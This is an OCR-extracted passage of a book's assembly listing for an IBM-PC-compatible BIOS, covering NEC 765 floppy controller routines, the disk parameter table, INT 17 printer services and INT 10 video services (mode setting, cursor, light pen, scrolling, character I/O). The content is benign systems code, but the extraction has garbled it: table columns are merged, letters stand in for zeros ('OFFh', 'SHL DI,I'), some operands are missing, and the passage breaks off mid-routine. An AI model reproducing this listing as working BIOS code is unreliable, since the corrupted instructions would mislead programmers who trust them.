\hline & MOV & AL, [ \(\mathrm{BP}+6\) ] & ; & Else use user bytes/sector \\
\hline & CALL & NEC765 & & \\
\hline & MOV & AL, [ \(\mathrm{BP}+7\) ] & ; & ... user EOT \\
\hline & CALL & NEC765 & & \\
\hline & MOV & AL, ES: [SI+7] & ; & Disk table format gap length \\
\hline & CALL & NEC765 & & \\
\hline & MOV & AL, ES: [SI+8] & ; & Disk table format fill byte \\
\hline & CALL & NEC765 & & \\
\hline & JMP & short FD_008 & & \\
\hline FD_006: & MOV & CX, 7 & ; & Else lookup bytes * 512/sec \\
\hline & MOV & DI, 3 & ; & ...from disk table \\
\hline FD_007: & MOV & AL, [ \(\mathrm{BP}+\mathrm{DI}]\) & ; & AL has bytes/sector * 512 \\
\hline & CALL & NEC765 & & \\
\hline & INC & DI & ; & ...get next item for table \\
\hline & LOOP & FD_007 & ; & ...also (EOT, GAP, DTL...) \\
\hline FD_008: & CALL & NC_BSY & ; & Wait on floppy i/o completion \\
\hline & CALL & NC_ST1 & ; & ...get NEC status \\
\hline & MOV & AL, DS: 42 h & ; & ...into AL \\
\hline & AND & AL, 11000000b & ; & Isolate errors \\
\hline & JZ & FD_012 & ; & ...no errors \\
\hline & CMP & AL, 40h & ; & Test direction bit \\
\hline & JZ & FD_ERR & & \\
\hline & MOV & Byte ptr DS:41h,20h & ; & Set if bad controller \\
\hline & JMP & short FD_012 & ; & ...return error \\
\hline FD_ERR: & MOV & AL, DS: 43 h & ; & Read return code from block \\
\hline & MOV & CX, 6 & ; & ...number of error types \\
\hline & XOR & \(B X, B X\) & ; & Start at error type 0 \\
\hline FD_009: & TEST & AL, CS: [BX+NECERR] & ; & Has error type BX occured? \\
\hline & JNZ & FD_010 & ; & ...yes \\
\hline & INC & BX & ; & Else try next error type \\
\hline & LOOP & FD_009 & ; & ...until done \\
\hline FD_010: & MOV & AL, CS: [BX+NECSTS ] & ; & Translate error code again \\
\hline & MOV & DS: 41h, AL & ; & ...store it as disk status \\
\hline FD_012: & MOV & AL, DS: 45 h & ; & Get bytes read \\
\hline & CMP & AL, [BP+3] & ; & ...compare with requested \\
\hline & MOV & AL, DS: 47 h & ; & Read sectors requested \\
\hline & JZ & FD_013 & ; & ...return if all read \\
\hline & MOV & AL, [ \(\mathrm{BP}+7]\) & ; & Else read sectors requested \\
\hline & INC & AL & ; & ...add one for luck \\
\hline
\end{tabular}


\begin{tabular}{|c|c|c|c|c|}
\hline NC_STS: & MOV CALL & \[
\begin{aligned}
& \text { AL, } 8 \\
& \text { NEC } 765
\end{aligned}
\] & \[
\begin{aligned}
& \text {; } \\
& \text {; }
\end{aligned}
\] & Send a "Request status" ...to the NEC 765 chip \\
\hline \multirow[t]{4}{*}{NC_ST1:} & PUSH & BX & ; & Alternate entry point \\
\hline & PUSH & CX & & \\
\hline & MOV & CX, 7 & & \\
\hline & XOR & BX, BX & & \\
\hline \multirow[t]{7}{*}{NC_ST2:} & CALL & NC_RDY & ; & Wait for NEC 765 ready \\
\hline & JB & NC_ST3 & ; & ...NEC 765 error \\
\hline & MOV & [ \(\mathrm{BX}+42 \mathrm{~h}\) ], AL & ; & Save status in BIOS block \\
\hline & JZ & NC_ST4 & ; & ...NEC 765 ready \\
\hline & INC & BX & ; & Count more \\
\hline & LOOP & NC_ST2 & & \\
\hline & MOV & Byte ptr DS:41h,20h & ; & NEC 765 controller error \\
\hline \multirow[t]{6}{*}{NC_ST3:} & STC & & ; & Set error condition \\
\hline & POP & CX & & \\
\hline & POP & BX & & \\
\hline & POP & AX & & \\
\hline & MOV & AL, 0 & & \\
\hline & RET & & & \\
\hline \multirow[t]{3}{*}{NC_ST4:} & POP & CX & ; & Successful return \\
\hline & POP & BX & & \\
\hline & RET & & & \\
\hline \multirow[t]{5}{*}{NEC765:} & PUSH & CX & ; & Send control to NEC 765 chip \\
\hline & PUSH & DX & & \\
\hline & PUSH & AX & & \\
\hline & XOR & CX, CX & & \\
\hline & MOV & DX, 3F4h & ; & Load NEC 765 status port \\
\hline \multirow[t]{5}{*}{NEC_01:} & IN & AL, DX & ; & Read NEC 765 status \\
\hline & OR & AL, AL & & \\
\hline & JS & NEC_02 & ; & . . .done \\
\hline & LOOP & NEC_01 & & \\
\hline & MOV JMP & \begin{tabular}{l}
Byte ptr DS:41h,80h \\
short NEC_05
\end{tabular} & ; & Set time out status \\
\hline \multirow[t]{4}{*}{NEC_02:} & TEST & AL, 40h & ; & Check data direction \\
\hline & JZ & NEC_03 & & \\
\hline & MOV & Byte ptr DS:41h,20h & ; & ...NEC 765 is gimped \\
\hline & JMP & short NEC_05 & & \\
\hline \multirow[t]{2}{*}{NEC_03:} & INC & DX & ; & Load NEC 765 data port \\
\hline & & & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline \multirow[t]{5}{*}{} & POP & AX & \multirow[t]{5}{*}{} & \multirow[t]{5}{*}{...write user's parameter} \\
\hline & OUT & DX, AL & & \\
\hline & CLC & & & \\
\hline & POP & DX & & \\
\hline & POP & CX & & \\
\hline \multicolumn{3}{|l|}{NEC_04: RET} & & \multirow{8}{*}{Common error return} \\
\hline \multirow[t]{8}{*}{NEC_05:} & POP & AX & & \\
\hline & POP & DX & & \\
\hline & POP & CX & & \\
\hline & POP & AX & & \\
\hline & MOV & AL, 0 & & \\
\hline & STC & & & \\
\hline & RET & & & \\
\hline & ENTRY & 0EFC7h & & IBM entry for disk param \\
\hline \multirow[t]{12}{*}{INT_1E:} & db & 11001111 b & & \multirow[t]{11}{*}{Disk parameter table} \\
\hline & db & 2 & & \\
\hline & db & 25h & & \\
\hline & db & 2 & & \\
\hline & db & 8 & & \\
\hline & db & 2Ah & & \\
\hline & db & OFFh & & \\
\hline & db & 50 h & & \\
\hline & db & 0F6h & & \\
\hline & db & 19h & & \\
\hline & db & 4 & & \\
\hline & ENTRY & OEFD2h & & IBM entry for parallel LPT \\
\hline \multirow[t]{16}{*}{INT_17:} & STI & & \multicolumn{2}{|l|}{\multirow[t]{7}{*}{; Parallel printer services}} \\
\hline & PUSH & DS & & \\
\hline & PUSH & BX & & \\
\hline & PUSH & CX & & \\
\hline & PUSH & DX & & \\
\hline & MOV & BX, 40h & & \\
\hline & MOV & DS, BX & & \\
\hline & MOV & BX, DX & & DX is printer index (0-3) \\
\hline & SHL & BX, 1 & & ...word index \\
\hline & MOV & DX, [BX+8] & & Load printer port \\
\hline & OR & DX, DX & & \\
\hline & JZ & LP_01 & & Goes to black hole \\
\hline & OR & AH, AH & & \\
\hline & JZ & LP_02 & & Function is print, \(A H=0\) \\
\hline & DEC & AH & & \\
\hline & JZ & LP_INI & & Function is init , \(\mathrm{AH}=1\) \\
\hline
\end{tabular}

\begin{tabular}{|c|c|c|c|}
\hline & INC & DX & \\
\hline & INC & DX & \\
\hline & MOV & AL, 00001000 b & \\
\hline & OUT & DX, AL & ; Request initialize \\
\hline & MOV & CX, 5DCh & ; ...delay \\
\hline LP_DLY: & LOOP & LP_DLY & \\
\hline & JMP & LP_STR & ; Strobe the line printer \\
\hline & ENTRY & OF045h & ; IBM entry point for table \\
\hline V_TABLE & & CRT_0 & ; Set mode \\
\hline & dw & CRT_1 & ; Set cursor type \\
\hline & dw & CRT_2 & ; Set cursor position \\
\hline & dw & CRT_3 & ; Get cursor position \\
\hline & dw & CRT_4 & ; Read light pen position \\
\hline & dw & CRT_5 & ; Set active display page \\
\hline & dw & CRT_6 & ; Scroll active page up \\
\hline & dw & CRT_7 & ; Scroll active page down \\
\hline & dw & CRT_8 & ; Read attribute/character \\
\hline & dw & CRT_9 & ; Write attribute/character \\
\hline & dw & CRT_10 & ; Read character only \\
\hline & dw & CRT_11 & ; Set color \\
\hline & dw & CRT_12 & ; Write pixel \\
\hline & dw & CRT_13 & ; Read pixel \\
\hline & dw & CRT_14 & ; Write teletype \\
\hline & dw & CRT_15 & ; Return current video state \\
\hline & ENTRY & OF065h & ; IBM entry, video bios service \\
\hline INT_10: & STI & & ; Video bios service \(\mathrm{AH}=(0-15\). \\
\hline & CLD & & ; ...strings auto-increment \\
\hline & PUSH & BP & \\
\hline & PUSH & ES & \\
\hline & PUSH & DS & \\
\hline & PUSH & SI & \\
\hline & PUSH & DI & \\
\hline & PUSH & DX & \\
\hline & PUSH & CX & \\
\hline & PUSH & BX & \\
\hline & PUSH & AX & \\
\hline & MOV & BX, 40h & \\
\hline & MOV & DS, BX & \\
\hline & MOV & BL, DS:10h & ; Get equipment byte \\
\hline & AND & BL, 00110000 b & ; ...isolate video mode \\
\hline & CMP & BL, 00110000 b & ; Check for monochrome card \\
\hline & MOV & BX, 0B800h & \\
\hline & JNZ & C_01 & ; ...not there, BX --> CGA \\
\hline
\end{tabular}

\begin{tabular}{|c|c|c|c|}
\hline \multicolumn{2}{|l|}{MAXCOL db} & \multicolumn{2}{|l|}{28h, \(28 \mathrm{~h}, 50 \mathrm{~h}, 50 \mathrm{~h}, 28 \mathrm{~h}, 28 \mathrm{~h}, 50 \mathrm{~h}, 50 \mathrm{~h}\); Maximum columns} \\
\hline MODES & db & 2Ch, 28h, 2Dh, 29h, 2Ah, 2Eh, & 1Eh, 29 h ; Table of mode sets \\
\hline \multirow[t]{2}{*}{TABMUL} & \multirow[t]{2}{*}{db} & \multicolumn{2}{|l|}{00h, \(00 \mathrm{~h}, 10 \mathrm{~h}, 10 \mathrm{~h}, 20 \mathrm{~h}, 20 \mathrm{~h}, 20 \mathrm{~h}, 30 \mathrm{~h}\)} \\
\hline & & \multicolumn{2}{|r|}{; Table lookup for multiply} \\
\hline \multirow[t]{3}{*}{C_02:} & CMP & \(\mathrm{AH}, \mathrm{OFh}\); & Is AH a legal video command? \\
\hline & JBE & C_03 & \\
\hline & RET & , & ...error return if not \\
\hline \multirow[t]{4}{*}{C_03:} & SHL & AH, 1 & Make word value \\
\hline & MOV & BL, AH & ...then set up BX \\
\hline & MOV & BH, 0 & \\
\hline & JMP & \multicolumn{2}{|l|}{Word ptr CS:[BX+V_TABLE] ; ...vector to routines} \\
\hline \multirow[t]{10}{*}{CRT_0 :} & MOV & AL,DS:10h ; & Set mode of CRT \\
\hline & MOV & DX, 3B4h ; & ...mono port \\
\hline & AND & AL, 00110000 b ; & ...get display type \\
\hline & CMP & AL, 00110000 b ; & ...equal if mono \\
\hline & MOV & AL, 1 ; & Assume mono display \\
\hline & MOV & BL, 7 ; & ...mode is 7 \\
\hline & JZ & C0_01 ; & ...Skip if mono, else CGA \\
\hline & MOV & \(\mathrm{BL},[\mathrm{BP}+2]\); & \(B L=\) mode number (user AL) \\
\hline & MOV & DL, 0D4h ; & 3D4 is CGA port \\
\hline & DEC & AL & \\
\hline \multirow[t]{14}{*}{C0_01:} & MOV & DS:63h,DX ; & Save cur. CRT display port \\
\hline & ADD & DL, 4 & \\
\hline & OUT & DX,AL ; & Reset the video \\
\hline & MOV & DS:49h,BL ; & ...save cur. CRT mode \\
\hline & PUSH & DS & \\
\hline & XOR & AX, AX & \\
\hline & MOV & DS, AX & \\
\hline & LES & SI,Dword ptr DS:74h ; & SI --> INT_1D video param \\
\hline & POP & DS & \\
\hline & MOV & BH, 0 & \\
\hline & PUSH & BX & \\
\hline & MOV & BL, CS: [BX+TABMUL] ; & Get BL for index into INT_1D \\
\hline & ADD & SI, BX & \\
\hline & MOV & CX,10h ; & Sixteen values to send \\
\hline \multirow[t]{5}{*}{C0_02:} & MOV & AL, ES: [SI] ; & Value to send in SI \\
\hline & CALL & SENDAX ; & ...send it \\
\hline & INC & AH ; & ...bump count \\
\hline & INC & SI ; & ...point to next \\
\hline & LOOP & C0_02 ; & ...loop until done \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline & MOV & \(B X,[B P+0]\) & BX --> regen buffer \\
\hline & MOV & ES, BX & ...into ES segment \\
\hline & XOR & DI, DI & \\
\hline & CALL & MODCHK & Set flags acc. to mode \\
\hline & MOV & CX, 2000h & ...assume CGA \\
\hline & MOV & AX, 0 & ...and graphics \\
\hline & JB & C0_04 & ...do graphics fill \\
\hline & JNZ & C0_03 & ...Alphanumeric fill \\
\hline & MOV & CX, 800h & ...mono card \\
\hline C0_03: & MOV & AX, 7*100h+' & Word for text fill \\
\hline C0_04: & REPZ & STOSW & ...fill regen buffer \\
\hline & MOV & DX, DS: 63h & Get the port \\
\hline & ADD & DL, 4 & \\
\hline & POP & BX & \\
\hline & MOV & AL, CS: [BX+MODES] & Load data to set for mode \\
\hline & OUT & DX, AL & ...and send it \\
\hline & MOV & DS: 65h, AL & ...then save active data \\
\hline & INC & DX & \\
\hline & MOV & AL, 30h & Assume not \(640 \times 200 \mathrm{~b} / \mathrm{w}\) \\
\hline & CMP & BL, 6 & ...correct? \\
\hline & JNZ & C0_05 & \\
\hline & MOV & AL, 3Fh & ; Palette for 640 x \(200 \mathrm{~b} / \mathrm{w}\) \\
\hline C0_05: & MOV & DS: 66h, AL & ...save palette \\
\hline & OUT & DX, AL & . send palette \\
\hline & XOR & AX, AX & \\
\hline & MOV & DS: 4Eh, AX & ; Start at beg. of 1st page \\
\hline & MOV & DS: \(62 \mathrm{~h}, \mathrm{AL}\) & ...active page=page 0 \\
\hline & MOV & CX, 8 & ; Do 8 pages of cursor data \\
\hline & MOV & DI,50h & ; Page cursor data at 40:50 \\
\hline C0_06: & MOV & [DI], AX & ; Cursor at upper left of page \\
\hline & INC & DI & ; ...next page \\
\hline & LOOP & C0_06 & \\
\hline & MOV & Word ptr DS:60h,0607h & ; Cursor: Line 6 thru Line 7 \\
\hline & MOV & AL, CS: [BX+MAXCOL] & ; Get display width \\
\hline & MOV & DS: 4Ah, AX & ; ...save it \\
\hline & AND & BL, 11111110b & \\
\hline & MOV & AX, Word ptr CS: [BX+REG & NL] ; Get video regen length \\
\hline & MOV & DS: 4Ch, AX & ; ...save it \\
\hline & RET & & \\
\hline CRT_1: & MOV & CX, [BP+6] & Set cursor type, from CX \\
\hline & MOV & DS: 60h, CX & ...save it \\
\hline & MOV & AH, 0Ah & ; CRT index register OAh \\
\hline & CALL & OT6845 & ; ...send CH,CL to CRT reg \\
\hline & & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline \multirow[t]{6}{*}{CRT_2:} & MOV & BL, [ \(\mathrm{BP}+5]\) & & Set cursor position, page BH \\
\hline & SHL & BL, 1 & ; & ...(our BL) \\
\hline & MOV & BH, 0 & & \\
\hline & MOV & AX, [BP+8] & ; & Position in user DX (our AX) \\
\hline & MOV & [BX+50h], AX & ; & ...remember cursor position \\
\hline & JMP & SETCUR & ; & ...set 6845 cursor hardware \\
\hline \multirow[t]{8}{*}{CRT_3:} & MOV & BL, [ \(\mathrm{BP}+5]\) & ; & Get cursor position, page BH \\
\hline & SHL & BL, 1 & & \\
\hline & MOV & BH, 0 & & \\
\hline & MOV & AX, [BX+50h] & & \\
\hline & MOV & [BP+8], AX & ; & ...return position in user DX \\
\hline & MOV & AX, DS: 60h & ; & Get cursor mode \\
\hline & MOV & [BP+6], AX & ; & ...return in user CX \\
\hline & \multicolumn{4}{|l|}{RET} \\
\hline PENOFF: & db & \(3,3,5,5,3,3,3,4\) & ; & Light pen offset table \\
\hline \multirow[t]{9}{*}{CRT_4:} & MOV & DX, DS: 63h & \multicolumn{2}{|l|}{\multirow[t]{2}{*}{; Read light pen position}} \\
\hline & ADD & DL, 6 & & \\
\hline & MOV & Byte ptr [BP+3],0 & \multicolumn{2}{|l|}{\multirow[t]{3}{*}{; \(\mathrm{AH}=0\), assume not triggered}} \\
\hline & IN & AL, DX & & \\
\hline & TEST & AL, 00000100 b & & \\
\hline & JZ & C4_05 & \multicolumn{2}{|l|}{\multirow[t]{2}{*}{; Skip, reset if pen not set}} \\
\hline & TEST & AL, 00000010 b & & \\
\hline & JNZ & C4_01 & \multicolumn{2}{|l|}{\multirow[t]{2}{*}{Skip if pen triggered ...return, do not reset}} \\
\hline & RET & & & \\
\hline \multirow[t]{9}{*}{C4_01:} & MOV & AH, 10 h & ; & \multirow[t]{5}{*}{```
Offset to pen port is 10h
    ...read into CH,CL
Get CRT mode data word
```} \\
\hline & CALL & PENXY & & \\
\hline & MOV & BL, DS: 49 h & & \\
\hline & MOV & CL, BL & & \\
\hline & MOV & BH, 0 & & \\
\hline & MOV & \multicolumn{3}{|l|}{} \\
\hline & SUB & CX, BX & & \\
\hline & JNS & C4_02 & ; & ...did not overflow \\
\hline & XOR & AX, AX & ; & Else fudge a zero \\
\hline \multirow[t]{7}{*}{C4_02:} & CALL & MODCHK & \multicolumn{2}{|l|}{\multirow[t]{7}{*}{\begin{tabular}{l}
; Set flags on display type \\
; ...text mode, skip
\end{tabular}}} \\
\hline & JNB & C4_03 & & \\
\hline & MOV & CH, 28h & & \\
\hline & DIV & DL & & \\
\hline & MOV & BL, AH & & \\
\hline & MOV & BH, 0 & & \\
\hline & MOV & CL, 3 & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline & SHL & BX, CL & \\
\hline & MOV & CH, AL & \\
\hline & SHL & CH, 1 & \\
\hline & MOV & DL, AH & \\
\hline & MOV & DH, AL & \\
\hline & SHR & DH, 1 & \\
\hline & SHR & DH, 1 & \\
\hline & CMP & Byte ptr DS:49h, 6 & ; Mode \(640 \times 200 \mathrm{~b} / \mathrm{w}\) ? \\
\hline & JNZ & C4_04 & ; ...no, skip \\
\hline & SHL & DL, 1 & \\
\hline & SHL & BX, 1 & \\
\hline & JMP & short C4_04 & \\
\hline C4_03: & DIV & Byte ptr DS:4Ah & ; Divide by columns in screen \\
\hline & XCHG & AL, AH & ; ...as this is text mode \\
\hline & MOV & DX, AX & \\
\hline & MOV & CL, 3 & \\
\hline & SHL & AH, CL & \\
\hline & MOV & \(\mathrm{CH}, \mathrm{AH}\) & \\
\hline & MOV & BL, AL & \\
\hline & MOV & BH, 0 & \\
\hline & SHL & BX, CL & \\
\hline C4_04: & MOV & Byte ptr [ \(\mathrm{BP}+3], 1\) & ; Return AH=1, light pen read \\
\hline & MOV & [BP+8], DX & ; ...row, column in user DX \\
\hline & MOV & [BP+4], BX & ; ...pixel column in user BX \\
\hline & MOV & [BP+7], CH & ; ...raster line in user CH \\
\hline C4_05: & MOV & DX, DS: 63h & ; Get port of active CRT card \\
\hline & ADD & DX, 7 & \\
\hline & OUT & DX, AL & ; ...reset the light pen \\
\hline & RET & & \\
\hline CRT_5: & MOV & AL, [BP+2] & ; Set active display page to AL \\
\hline & MOV & DS: 62h, AL & ; ...save new active page \\
\hline & MOV & AH, 0 & ; ...clear hi order \\
\hline & PUSH & AX & \\
\hline & MOV & BX, DS: 4Ch & ; Get size of regen. buffer \\
\hline & MUL & BX & ; ...times number of pages \\
\hline & MOV & DS: 4Eh, AX & ; Now AX = CRT offset, save \\
\hline & SHR & AX, 1 & ; ...now word offset \\
\hline & MOV & CX, AX & ; ...save a copy \\
\hline & MOV & AH, 0Ch & ; CRT index register OCh \\
\hline & CALL & OT6845 & ; ...send CH,CL thru CRT reg \\
\hline & POP & BX & \\
\hline & CALL & MOVCUR & ; Save new parameters \\
\hline & RET & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline \multicolumn{3}{|l|}{CRT_6:} & ; & Scroll active page up \\
\hline CRT_7: & CALL & MODCHK & ; & Scroll active page down \\
\hline & JNB & SCR_01 & & \\
\hline & JMP & SCG_01 & ; & Graphics scroll \\
\hline \multirow[t]{6}{*}{SCR_01:} & CLD & & ; & Strings go upward \\
\hline & CMP & Byte ptr DS:49h, 2 & & \\
\hline & JB & SCR_03 & ; & ...no retrace wait needed \\
\hline & CMP & Byte ptr DS:49h, 3 & & \\
\hline & JA & SCR_03 & ; & ...no retrace wait needed \\
\hline & MOV & DX, 3DAh & ; & Else 80 x 25, do the kludge \\
\hline \multirow[t]{6}{*}{SCR_02:} & IN & AL, DX & ; & Read CGA status register \\
\hline & TEST & AL, 00001000 b & ; & ...vertical retrace? \\
\hline & JZ & SCR_02 & ; & ...wait until it is \\
\hline & MOV & DX, 3D8h & ; & Then go and \\
\hline & MOV & AL, 25h & ; & ...turn the display \\
\hline & OUT & DX, AL & ; & ...off to avoid snow \\
\hline \multirow[t]{5}{*}{SCR_03:} & MOV & AX, [BP+8] & ; & Get row, column of upper left \\
\hline & PUSH & AX & & \\
\hline & CMP & Byte ptr [BP+3],7 & ; & Check for scroll down \\
\hline & JZ & SCR_04 & ; & ...yes, skip if so \\
\hline & MOV & AX, [BP+6] & ; & Get row, column of lowr right \\
\hline \multirow[t]{19}{*}{SCR_04:} & CALL & RC2COL & ; & Get byte offset in CRT buf \\
\hline & ADD & AX, DS: 4Eh & ; & ...add base for CRT buf \\
\hline & MOV & SI, AX & & \\
\hline & MOV & DI, AX & & \\
\hline & POP & DX & & \\
\hline & SUB & DX, [BP+6] & ; & Subtract (row, col) lwr rhgt \\
\hline & ADD & DX, 101h & ; & ...width of one char \\
\hline & MOV & BX, DS : 4Ah & ; & Get columns in display \\
\hline & SHL & BX, 1 & ; & ...bytes in row of display \\
\hline & PUSH & DS & & \\
\hline & MOV & AL, [ \(\mathrm{BP}+2]\) & ; & Get scroll fill character \\
\hline & CALL & MAPBYT & ; & ...calculate offset \\
\hline & MOV & ES, CX & ; & CX --> byte in buffer \\
\hline & MOV & DS, CX & & \\
\hline & CMP & Byte ptr [BP+3],6 & ; & Scroll up? \\
\hline & JZ & SCR_05 & ; & ...skip if so \\
\hline & NEG & AX & & \\
\hline & NEG & BX & & \\
\hline & STD & & ; & Else start at top of page \\
\hline SCR_05: & MOV & \(\mathrm{CL},[\mathrm{BP}+2]\) & ; & Get count of lines to scroll \\
\hline
\end{tabular}

\begin{tabular}{|c|c|c|c|}
\hline & POP & DX & \\
\hline & SUB & DX, [BP+6] & ; Chars to copy over \\
\hline & ADD & DX, 101h & ; ...width of one char \\
\hline & SHL & DH, 1 & \\
\hline & SHL & DH, 1 & \\
\hline & MOV & AL, [ \(\mathrm{BP}+3]\) & ; Get command type \\
\hline & CMP & Byte ptr DS:49h,6 & ; ...is this 640 x 200? \\
\hline & JZ & SCG_03 & ; ...skip if so \\
\hline & SHL & DL, 1 & ; Else bigger characters \\
\hline & SHL & DI, 1 & \\
\hline & CMP & AL, 7 & ; Is this scroll down? \\
\hline & JNZ & SCG_03 & ; ...skip if not so \\
\hline & INC & DI & \\
\hline SCG_03: & CMP & AL, 7 & ; Is this scroll down? \\
\hline & JNZ & SCG_04 & ; ...skip if not so \\
\hline & ADD & DI, OFOh & \\
\hline SCG_04: & MOV & \(\mathrm{BL},[\mathrm{BP}+2]\) & ; Number of rows to blank \\
\hline & SHL & BL, 1 & \\
\hline & SHL & BL, 1 & \\
\hline & PUSH & BX & \\
\hline & SUB & DH, BL & ; Subtract from row count \\
\hline & MOV & AL, 50h & \\
\hline & MUL & BL & \\
\hline & MOV & BX, 1FB0h & \\
\hline & CMP & Byte ptr [BP+3],6 & ; Is this scroll up? \\
\hline & JZ & SCG_05 & ; ...skip if so \\
\hline & NEG & AX & ; Else do it \\
\hline & MOV & BX, 2050 h & \\
\hline & STD & & ; ...in reverse \\
\hline SCG_05: & MOV & SI, DI & ; End of area \\
\hline & ADD & SI, AX & ; ...start \\
\hline & POP & AX & \\
\hline & OR & AL, AL & \\
\hline & MOV & CX, [BP+0] & \\
\hline & MOV & DS, CX & \\
\hline & MOV & ES, CX & \\
\hline & JZ & SCG_07 & ; No rows to scroll \\
\hline & PUSH & AX & \\
\hline SCG_06: & MOV & \(\mathrm{CH}, \mathrm{O}\) & ; Zero hi order byte count \\
\hline & MOV & CL, DL & ; ...bytes in row \\
\hline & PUSH & SI & \\
\hline & PUSH & DI & \\
\hline & REPZ & MOVSB & ; Copy one plane \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline & POP & DI & \\
\hline & POP & SI & \\
\hline & ADD & SI, 2000h & ; Load other grafix \\
\hline & ADD & DI, 2000h & ; ...video plane \\
\hline & MOV & CL, DL & \\
\hline & PUSH & SI & \\
\hline & PUSH & DI & \\
\hline & REPZ & MOVSB & ; Copy other plane \\
\hline & POP & DI & \\
\hline & POP & SI & \\
\hline & SUB & SI, BX & \\
\hline & SUB & DI, BX & \\
\hline & DEC & DH & ; One less row to scroll \\
\hline & JNZ & SCG_0 6 & ; ...loop if more to do \\
\hline & POP & AX & \\
\hline & MOV & DH, AL & ; Load rows to blank \\
\hline SCG_07: & MOV & AL, [ \(\mathrm{BP}+5\) ] & ; Get fill attribute \\
\hline & MOV & \(\mathrm{CH}, \mathrm{O}\) & \\
\hline SCG_08: & MOV & CL, DL & ; Get bytes per row \\
\hline & PUSH & DI & \\
\hline & REPZ & STOSB & ; Load row with fill attr. \\
\hline & POP & DI & \\
\hline & ADD & DI, 2000h & ; Do other grafix video plane \\
\hline & MOV & CL, DL & \\
\hline & PUSH & DI & \\
\hline & REPZ & STOSB & ; Load row with fill attr. \\
\hline & POP & DI & \\
\hline & SUB & DI, BX & \\
\hline & DEC & DH & ; Show one less row to blank \\
\hline & JNZ & SCG_08 & ; ...loop if more to do \\
\hline & RET & & \\
\hline CRT_8: & & & ; Read attribute/character \\
\hline CRT_9: & & & ; Write attribute/character \\
\hline CRT_10: & CALL & MODCHK & ; Write character only \\
\hline & JB & CG8_01 & ; ... graphics operation \\
\hline & MOV & BL, [ \(\mathrm{BP}+5\) ] & ; Get the display page \\
\hline & MOV & BH, 0 & \\
\hline & PUSH & BX & \\
\hline & CALL & MPRC2C & ; Convert Row, Col, Page -> Col \\
\hline & MOV & DI, AX & ; ...offset in DI \\
\hline & POP & AX & \\
\hline & MUL & Word ptr DS:4Ch & ; Page length X page number \\
\hline & ADD & DI, AX & ; ...current char. position \\
\hline & MOV & SI, DI & ; ...move into si \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline & MOV & DX, DS: 63h & ; Display port into DX \\
\hline & ADD & DX, 6 & ; ...get status port \\
\hline & PUSH & DS & \\
\hline & MOV & BX, [BP+0] & ; BX --> regen. buffer \\
\hline & MOV & DS, BX & \\
\hline & MOV & ES, BX & \\
\hline & MOV & \(\mathrm{AL},[\mathrm{BP}+3]\) & ; Get user (AH) func request \\
\hline & CMP & AL, 8 & \\
\hline & JNZ & C9_01 & ; ...skip if not read attr \\
\hline C8_01: & IN & AL, DX & ; Read CRT display status \\
\hline & TEST & AL, 00000001 b & ; ...test for hor. retrace \\
\hline & JNZ & C8_01 & ; Yes, wait for display on \\
\hline & CLI & & ; ...no interrupts now \\
\hline C8_02: & IN & AL, DX & ; Read CRT display status \\
\hline & TEST & AL, 00000001 b & ; ...test for hor. retrace \\
\hline & JZ & C8_02 & ; ...not yet, wait for it \\
\hline & LODSW & & ; Read character/attribute \\
\hline & POP & DS & \\
\hline & MOV & [BP+2], AL & ; Return character \\
\hline & MOV & [ \(\mathrm{BP}+3], \mathrm{AH}\) & ; ..and attribute \\
\hline & RET & & \\
\hline C9_01: & MOV & \(\mathrm{BL},[\mathrm{BP}+2]\) & ; Get char. to write \\
\hline & MOV & \(\mathrm{BH},[\mathrm{BP}+4]\) & ; ...attribute \\
\hline & MOV & CX, [BP+6] & ; ...character count \\
\hline & CMP & AL, OAh & ; Write char. only? \\
\hline & JZ & CA_01 & ; ...skip if so \\
\hline C9_02: & IN & AL, DX & ; Read CRT display status \\
\hline & TEST & AL, 00000001 b & ; ...test for hor. retrace \\
\hline & JNZ & C9_02 & ; Yes, wait for display on \\
\hline & CLI & & ; ...no interrupts now \\
\hline C9_03: & IN & AL, DX & ; Read CRT display status \\
\hline & TEST & AL, 00000001 b & ; ...test for hor. retrace \\
\hline & JZ & C9_03 & ; ...not yet, wait for it \\
\hline & MOV & AX, BX & ; Get char/attribute \\
\hline & STOSW & & ; ...write it \\
\hline & LOOP & C9_02 & ; ...loop for char. count \\
\hline & POP & DS & \\
\hline & RET & & \\
\hline CA_01: & IN & AL, DX & ; Read CRT display status \\
\hline
\end{tabular}

```

    JZ
                CG8_02
    ; ...skip if so
    SHL DI,I
    MOV AL,[BP+4]
    AND AX,3
    MOV BX,5555h
    MUL BX
    MOV DX,AX
    MOV BL,[BP+4]
    CG9_04: MOV BH,8 ; Char 8 pixels wide
CG9_05: LODSB ; Read the screen
PUSH CX
PUSH BX
XOR BX,BX
MOV CX,8
CG9_06: SHR AL,1 ; Shift bits thru byte
RCR BX, 1
SAR BX, 1
LOOP CG9_06
MOV AX,BX ; Result into AX
POP BX
POP CX
AND AX,DX
XCHG AH,AL
OR BL,BL
JNS CG9_07
XOR AX,ES:[DI]

| CG9_07: | MOV | ES: [DI], AX | ; | Write new word |
| :---: | :---: | :---: | :---: | :---: |
|  | XOR | DI, 2000h |  |  |
|  | TEST | DI, 2000 h |  | Is this other plane? |
|  | JNZ | CG9_08 | ; | . . .nope |
|  | ADD | DI,50h | ; | Else advance character |
| CG9_08: | DEC | BH | ; | Show another char written |
|  | JNZ | CG9_05 | ; | ...more to go |
|  | POP | SI |  |  |
|  | POP | DI |  |  |
|  | INC | DI |  |  |
|  | INC | DI |  |  |
|  | LOOP | CG9_04 |  |  |
|  | POP | DS |  |  |

```

\section*{310 A to \(Z\) of \(C\)}


\begin{tabular}{|c|c|c|c|}
\hline & POP & DI & \\
\hline & POP & SI & \\
\hline & JZ & CGR_11 & ; Found grafix character \\
\hline & INC & AL & ; ...else show another char \\
\hline & ADD & DI, 8 & ...advance one row \\
\hline & DEC & DX & ; ...one less char to scan \\
\hline & JNZ & CGR_10 & ; Loop if more char left \\
\hline & OR & AL, AL & ; User grafix character set? \\
\hline & JZ & CGR_11 & ; ...no, not found \\
\hline & XOR & BX, BX & \\
\hline & MOV & DS, BX & \\
\hline & LES & DI, Dword ptr DS:7Ch & ; Else load user grafix char \\
